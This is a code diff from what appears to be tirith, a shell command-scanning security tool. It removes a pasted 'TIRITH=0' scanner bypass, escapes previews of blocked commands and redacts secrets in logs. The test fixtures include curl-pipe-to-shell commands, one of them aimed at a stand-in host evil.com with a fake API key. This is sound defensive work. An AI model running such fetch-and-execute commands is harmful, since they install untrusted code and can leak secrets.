+    assert!(
+        stdout.contains("OPENAI_API_KEY=[REDACTED]"),
+        "JSON output should scrub assignment values: {stdout}"
+    );
+}
+
 #[test]
 fn check_json_clean_output() {
     let out = tirith()
@@ -251,7 +277,7 @@ fn paste_inline_bypass_requires_interactive_mode() {
 }
 
 #[test]
-fn paste_inline_bypass_honored_with_interactive_flag() {
+fn paste_inline_bypass_not_honored_with_interactive_flag() {
     use std::io::Write;
     let mut child = tirith()
         .args(["paste", "--shell", "posix", "--interactive"])
@@ -269,13 +295,13 @@ fn paste_inline_bypass_honored_with_interactive_flag() {
     let out = child.wait_with_output().unwrap();
     assert_eq!(
         out.status.code(),
-        Some(0),
-        "interactive paste should honor TIRITH=0 bypass"
+        Some(1),
+        "interactive paste should not honor pasted TIRITH=0 prefixes"
     );
 }
 
 #[test]
-fn paste_env_wrapper_bypass_honored_with_interactive_flag() {
+fn paste_env_wrapper_bypass_not_honored_with_interactive_flag() {
     use std::io::Write;
     let mut child = tirith()
         .args(["paste", "--shell", "posix", "--interactive"])
@@ -290,11 +316,36 @@ fn paste_env_wrapper_bypass_honored_with_interactive_flag() {
         .write_all(b"env TIRITH=0 curl -LsSf https://example.com/install.sh | sh")
         .unwrap();
 
+    let out = child.wait_with_output().unwrap();
+    assert_eq!(
+        out.status.code(),
+        Some(1),
+        "interactive paste should not honor pasted env TIRITH=0 prefixes"
+    );
+}
+
+#[test]
+fn paste_process_level_bypass_still_honored_with_interactive_flag() {
+    use std::io::Write;
+    let mut child = tirith()
+        .env("TIRITH", "0")
+        .args(["paste", "--shell", "posix", "--interactive"])
+        .stdin(std::process::Stdio::piped())
+        .spawn()
+        .expect("failed to spawn tirith");
+
+    child
+        .stdin
+        .take()
+        .unwrap()
+        .write_all(b"curl -LsSf https://example.com/install.sh | sh")
+        .unwrap();
+
     let out = child.wait_with_output().unwrap();
     assert_eq!(
         out.status.code(),
         Some(0),
-        "interactive paste should honor env TIRITH=0 bypass"
+        "interactive paste should still honor process-level TIRITH=0 bypass"
     );
 }
 
@@ -346,6 +397,56 @@ fn why_no_trigger() {
     );
 }
 
+#[test]
+fn check_last_trigger_redacts_assignment_values_in_findings() {
+    let dir = tempfile::tempdir().expect("tempdir");
+    let out = tirith()
+        .env("XDG_DATA_HOME", dir.path())
+        .env("APPDATA", dir.path())
+        .args([
+            "check",
+            "--shell",
+            "posix",
+            "--interactive",
+            "--",
+            "OPENAI_API_KEY=sk-secret curl https://evil.com | sh",
+        ])
+        .output()
+        .expect("failed to run tirith");
+    assert_eq!(out.status.code(), Some(1));
+
+    let last_trigger_path = dir.path().join("tirith").join("last_trigger.json");
+    let contents =
+        fs::read_to_string(&last_trigger_path).expect("last_trigger.json should be written");
+    assert!(
+        !contents.contains("sk-secret"),
+        "last_trigger.json should not contain raw secret values: {contents}"
+    );
+    assert!(
+        contents.contains("OPENAI_API_KEY=[REDACTED]"),
+        "last_trigger.json should scrub assignment values: {contents}"
+    );
+}
+
+#[test]
+fn check_wrapped_tirith_run_preserves_sink_rules() {
+    for command in [
+        "env tirith run http://example.com",
+        "command tirith run http://example.com",
+        "time tirith run http://example.com",
+    ] {
+        let out = tirith()
+            .args(["check", "--shell", "posix", "--", command])
+            .output()
+            .expect("failed to run tirith");
+        assert_eq!(
+            out.status.code(),
+            Some(1),
+            "wrapped tirith run should trigger sink rules: {command}"
+        );
+    }
+}
+
 // ─── init subcommand ───
 
 #[test]
diff --git a/deny.toml b/deny.toml
index 427f138..ef289cc 100644
--- a/deny.toml
+++ b/deny.toml
@@ -8,6 +8,10 @@ ignore = [
     # rustls-pemfile unmaintained — transitive dep of rust-s3 (license server).
     # No replacement available; rust-s3 hasn't migrated yet.
     "RUSTSEC-2025-0134",
+    # rustls-webpki CRL distribution point matching — affects 0.101.7 via
+    # rust-s3 → rustls 0.21. Transitive dep pinned by rust-s3; tirith does
+    # not use CRL revocation checking. The 0.103.x copy is already updated.
+    "RUSTSEC-2026-0049",
 ]
 
 [licenses]
diff --git a/packaging/aur/PKGBUILD b/packaging/aur/PKGBUILD
index fb0cb62..a434ecd 100644
--- a/packaging/aur/PKGBUILD
+++ b/packaging/aur/PKGBUILD
@@ -11,7 +11,7 @@ makedepends=('cargo' 'base-devel')
 options=(!lto)
 install=tirith.install
 source=("$pkgname-$pkgver.tar.gz::$url/archive/refs/tags/v$pkgver.tar.gz")
-sha256sums=('SKIP')
+sha256sums=('db8151dc83a1c8d314945f26cf042fee77b199a2e070743440f0a3ee0da0d7a6')
 
 prepare() {
   cd "$pkgname-$pkgver"
diff --git a/shell/lib/bash-hook.bash b/shell/lib/bash-hook.bash
index c847d25..6ab2871 100644
--- a/shell/lib/bash-hook.bash
+++ b/shell/lib/bash-hook.bash
@@ -40,6 +40,10 @@ _tirith_output() {
   fi
 }
 
+_tirith_escape_preview() {
+  printf '%q' "$1"
+}
+
 # ─── Approval workflow helpers (ADR-7) ───
 
 # Parse approval temp file. On success, sets _tirith_ap_* variables.
@@ -106,12 +110,16 @@ _tirith_persist_safe_mode() {
 # ─── Preexec function (used by both preexec mode and degrade fallback) ───
 
 _tirith_preexec() {
+  [[ "${_TIRITH_BASH_INTERNAL:-0}" == "1" ]] && return
   # Only run once per command (guard against DEBUG firing multiple times)
   [[ "${_tirith_last_cmd:-}" == "$BASH_COMMAND" ]] && return
   _tirith_last_cmd="$BASH_COMMAND"
 
   # Warn-only: command is already committed, we can only print warnings
+  local _tirith_prev_internal="${_TIRITH_BASH_INTERNAL:-0}"
+  _TIRITH_BASH_INTERNAL=1
   command tirith check --shell posix -- "$BASH_COMMAND" || true
+  _TIRITH_BASH_INTERNAL="$_tirith_prev_internal"
 }
 
 # ─── Degrade function ───
@@ -321,25 +329,34 @@ if [[ "$_TIRITH_BASH_MODE" == "enter" ]] && [[ $- == *i* ]]; then
       # Run tirith check with approval workflow (stdout=approval file path, stderr=human output)
       local errfile=$(mktemp)
       local approval_path
+      local _tirith_prev_internal="${_TIRITH_BASH_INTERNAL:-0}"
+      _TIRITH_BASH_INTERNAL=1
       approval_path=$(command tirith check --approval-check --non-interactive --interactive --shell posix -- "$READLINE_LINE" 2>"$errfile")
       local rc=$?
+      _TIRITH_BASH_INTERNAL="$_tirith_prev_internal"
       local output=$(<"$errfile")
       command rm -f "$errfile"
 
       if [[ $rc -eq 0 ]]; then
         :  # Allow: no output
       elif [[ $rc -eq 2 ]]; then
+        local escaped_line
+        escaped_line=$(_tirith_escape_preview "$READLINE_LINE")
         _tirith_output ""
-        _tirith_output "command> $READLINE_LINE"
+        _tirith_output "command> $escaped_line"
         [[ -n "$output" ]] && _tirith_output "$output"
       elif [[ $rc -eq 1 ]]; then
+        local escaped_line
+        escaped_line=$(_tirith_escape_preview "$READLINE_LINE")
         _tirith_output ""
-        _tirith_output "command> $READLINE_LINE"
+        _tirith_output "command> $escaped_line"
         [[ -n "$output" ]] && _tirith_output "$output"
       else
         # Unexpected exit code: degrade to preexec
+        local escaped_line
+        escaped_line=$(_tirith_escape_preview "$READLINE_LINE")
         _tirith_output ""
-        _tirith_output "command> $READLINE_LINE"
+        _tirith_output "command> $escaped_line"
         [[ -n "$output" ]] && _tirith_output "$output"
         [[ -n "$approval_path" ]] && command rm -f "$approval_path"
         _tirith_degrade_to_preexec "tirith returned unexpected exit code $rc"
@@ -437,9 +454,8 @@ if [[ "$_TIRITH_BASH_MODE" == "enter" ]] && [[ $- == *i* ]]; then
         fi
       done
 
-      # Honor TIRITH=0 bypass (#30): skip paste scanning (env var or inline prefix)
-      local _t_trimmed="${pasted#"${pasted%%[![:space:]]*}"}"
-      if [[ "${TIRITH:-}" == "0" ]] || [[ "$_t_trimmed" == TIRITH=0[[:space:]]* ]]; then
+      # Honor explicit TIRITH=0 bypass (#30): skip paste scanning
+      if [[ "${TIRITH:-}" == "0" ]]; then
         READLINE_LINE="${READLINE_LINE:0:$READLINE_POINT}${pasted}${READLINE_LINE:$READLINE_POINT}"
         READLINE_POINT=$((READLINE_POINT + ${#pasted}))
         return
@@ -448,8 +464,11 @@ if [[ "$_TIRITH_BASH_MODE" == "enter" ]] && [[ $- == *i* ]]; then
       if [[ -n "$pasted" ]]; then
         # Check with tirith paste, use temp file to prevent tty leakage
         local tmpfile=$(mktemp)
+        local _tirith_prev_internal="${_TIRITH_BASH_INTERNAL:-0}"
+        _TIRITH_BASH_INTERNAL=1
         printf '%s' "$pasted" | command tirith paste --shell posix --interactive >"$tmpfile" 2>&1
         local rc=$?
+        _TIRITH_BASH_INTERNAL="$_tirith_prev_internal"
         local output=$(<"$tmpfile")
         command rm -f "$tmpfile"
 
@@ -461,8 +480,10 @@ if [[ "$_TIRITH_BASH_MODE" == "enter" ]] && [[ $- == *i* ]]; then
           [[ -n "$output" ]] && { _tirith_output ""; _tirith_output "$output"; }
         else
           # Block (rc=1) or unexpected: discard paste (safe — user can re-paste)
+          local escaped_paste
+          escaped_paste=$(_tirith_escape_preview "$pasted")
           _tirith_output ""
-          _tirith_output "paste> $pasted"
+          _tirith_output "paste> $escaped_paste"
           [[ -n "$output" ]] && _tirith_output "$output"
           [[ $rc -ne 1 ]] && _tirith_output "tirith: paste check failed (exit code $rc)"
           return
diff --git a/shell/lib/fish-hook.fish b/shell/lib/fish-hook.fish
index 779b9e3..94f3f25 100644
--- a/shell/lib/fish-hook.fish
+++ b/shell/lib/fish-hook.fish
@@ -27,6 +27,10 @@ function _tirith_output
     end
 end
 
+function _tirith_escape_preview
+    string escape -- $argv[1]
+end
+
 # ─── Approval workflow helpers (ADR-7) ───
 
 function _tirith_parse_approval
@@ -97,12 +101,6 @@ if functions -q fish_clipboard_paste; and not functions -q _tirith_original_fish
             return
         end
 
-        # Honor inline TIRITH=0 prefix (#30): handles Warp routing typed input through paste
-        if string match -qr '^\s*TIRITH=0\s' -- "$content"
-            echo -n "$content"
-            return
-        end
-
         set -l tmpfile (mktemp)
         echo -n "$content" | command tirith paste --shell fish --interactive >$tmpfile 2>&1
         set -l rc $status
@@ -120,8 +118,9 @@ if functions -q fish_clipboard_paste; and not functions -q _tirith_original_fish
             # Warn: fall through to echo
         else
             # Block or unexpected: discard
+            set -l escaped_content (_tirith_escape_preview "$content")
             _tirith_output ""
-            _tirith_output "paste> $content"
+            _tirith_output "paste> $escaped_content"
             if test -n "$output"
                 _tirith_output "$output"
             end
@@ -166,14 +165,16 @@ function _tirith_check_command
     if test $rc -eq 0
         # Allow: no output
     else if test $rc -eq 2
+        set -l escaped_cmd (_tirith_escape_preview "$cmd")
         _tirith_output ""
-        _tirith_output "command> $cmd"
+        _tirith_output "command> $escaped_cmd"
         if test -n "$output"
             _tirith_output "$output"
         end
     else if test $rc -eq 1
+        set -l escaped_cmd (_tirith_escape_preview "$cmd")
         _tirith_output ""
-        _tirith_output "command> $cmd"
+        _tirith_output "command> $escaped_cmd"
         if test -n "$output"
             _tirith_output "$output"
         end
diff --git a/shell/lib/powershell-hook.ps1 b/shell/lib/powershell-hook.ps1
index d5ba23c..71c9101 100644
--- a/shell/lib/powershell-hook.ps1
+++ b/shell/lib/powershell-hook.ps1
@@ -27,6 +27,14 @@ if (-not $psrlModule) {
     return
 }
 
+function global:_tirith_escape_preview {
+    param([string]$Text)
+    if ($null -eq $Text) {
+        return '""'
+    }
+    return (ConvertTo-Json -Compress -InputObject ([string]$Text))
+}
+
 # --- Approval workflow helpers (ADR-7) ---
 
 function global:_tirith_parse_approval {
@@ -133,10 +141,10 @@ Set-PSReadLineKeyHandler -Key Enter -ScriptBlock {
     if ($rc -eq 0) {
         # Allow: no output
     } elseif ($rc -eq 2) {
-        Write-Host "command> $line"
+        Write-Host "command> $(_tirith_escape_preview $line)"
         if (-not [string]::IsNullOrWhiteSpace($output)) { Write-Host $output }
     } elseif ($rc -eq 1) {
-        Write-Host "command> $line"
+        Write-Host "command> $(_tirith_escape_preview $line)"
         if (-not [string]::IsNullOrWhiteSpace($output)) { Write-Host $output }
     } else {
         # Unexpected rc: warn + execute (fail-open to avoid terminal breakage)
@@ -213,12 +221,6 @@ Set-PSReadLineKeyHandler -Key Ctrl+v -ScriptBlock {
         return
     }
 
-    # Honor inline TIRITH=0 prefix (#30): handles Warp routing typed input through paste
-    if ($pasted.TrimStart() -match '^TIRITH=0\s') {
-        [Microsoft.PowerShell.PSConsoleReadLine]::Insert($pasted)
-        return
-    }
-
     # Check with tirith paste, use temp file to prevent output leakage
     $tmpfile = [System.IO.Path]::GetTempFileName()
     $pasted | & tirith paste --shell powershell --interactive > $tmpfile 2>&1
@@ -233,7 +235,7 @@ Set-PSReadLineKeyHandler -Key Ctrl+v -ScriptBlock {
         # Warn: fall through to insert
     } else {
         # Block or unexpected: discard paste
-        Write-Host "paste> $pasted"
+        Write-Host "paste> $(_tirith_escape_preview $pasted)"
         if (-not [string]::IsNullOrWhiteSpace($output)) { Write-Host $output }
         if ($rc -ne 1) { Write-Host "tirith: unexpected exit code $rc - paste blocked for safety" }
         return
diff --git a/shell/lib/zsh-hook.zsh b/shell/lib/zsh-hook.zsh
index c2f4768..a3f3891 100644
--- a/shell/lib/zsh-hook.zsh
+++ b/shell/lib/zsh-hook.zsh
@@ -30,6 +30,10 @@ _tirith_output() {
   fi
 }
 
+_tirith_escape_preview() {
+  printf '%q' -- "$1"
+}
+
 # ─── Approval workflow helpers (ADR-7) ───
 
 _tirith_parse_approval() {
@@ -96,12 +100,14 @@ _tirith_accept_line() {
   if [[ $rc -eq 0 ]]; then
     :  # Allow: no output
   elif [[ $rc -eq 2 ]]; then
+    local escaped_buf=$(_tirith_escape_preview "$buf")
     _tirith_output ""
-    _tirith_output "command> $buf"
+    _tirith_output "command> $escaped_buf"
     [[ -n "$output" ]] && _tirith_output "$output"
   elif [[ $rc -eq 1 ]]; then
+    local escaped_buf=$(_tirith_escape_preview "$buf")
     _tirith_output ""
-    _tirith_output "command> $buf"
+    _tirith_output "command> $escaped_buf"
     [[ -n "$output" ]] && _tirith_output "$output"
   else
     # Unexpected rc: warn + execute (fail-open to avoid terminal breakage)
@@ -174,17 +180,13 @@ _tirith_bracketed_paste() {
   local old_cursor="$CURSOR"
   zle _tirith_original_bracketed_paste 2>/dev/null || zle .bracketed-paste
 
-  # Honor TIRITH=0 bypass (#30): skip paste scanning
+  # Honor explicit TIRITH=0 bypass (#30): skip paste scanning
   [[ "${TIRITH:-}" == "0" ]] && return
 
   # The new content is what was added to BUFFER
   local new_buffer="$BUFFER"
   local pasted="${new_buffer:$old_cursor:$((${#new_buffer} - ${#old_buffer}))}"
 
-  # Honor inline TIRITH=0 prefix (#30): handles Warp routing typed input through paste
-  local _t_trimmed="${pasted#"${pasted%%[![:space:]]*}"}"
-  [[ "$_t_trimmed" == TIRITH=0[[:space:]]* ]] && return
-
   if [[ -n "$pasted" ]]; then
     # Pipe pasted content to tirith paste, use temp file to prevent tty leakage
     local tmpfile=$(mktemp)
@@ -202,8 +204,9 @@ _tirith_bracketed_paste() {
       # Block or unexpected: revert paste
       BUFFER="$old_buffer"
       CURSOR=$old_cursor
+      local escaped_paste=$(_tirith_escape_preview "$pasted")
       _tirith_output ""
-      _tirith_output "paste> $pasted"
+      _tirith_output "paste> $escaped_paste"
       [[ -n "$output" ]] && _tirith_output "$output"
       [[ $rc -ne 1 ]] && _tirith_output "tirith: unexpected exit code $rc — paste blocked for safety"
       zle send-break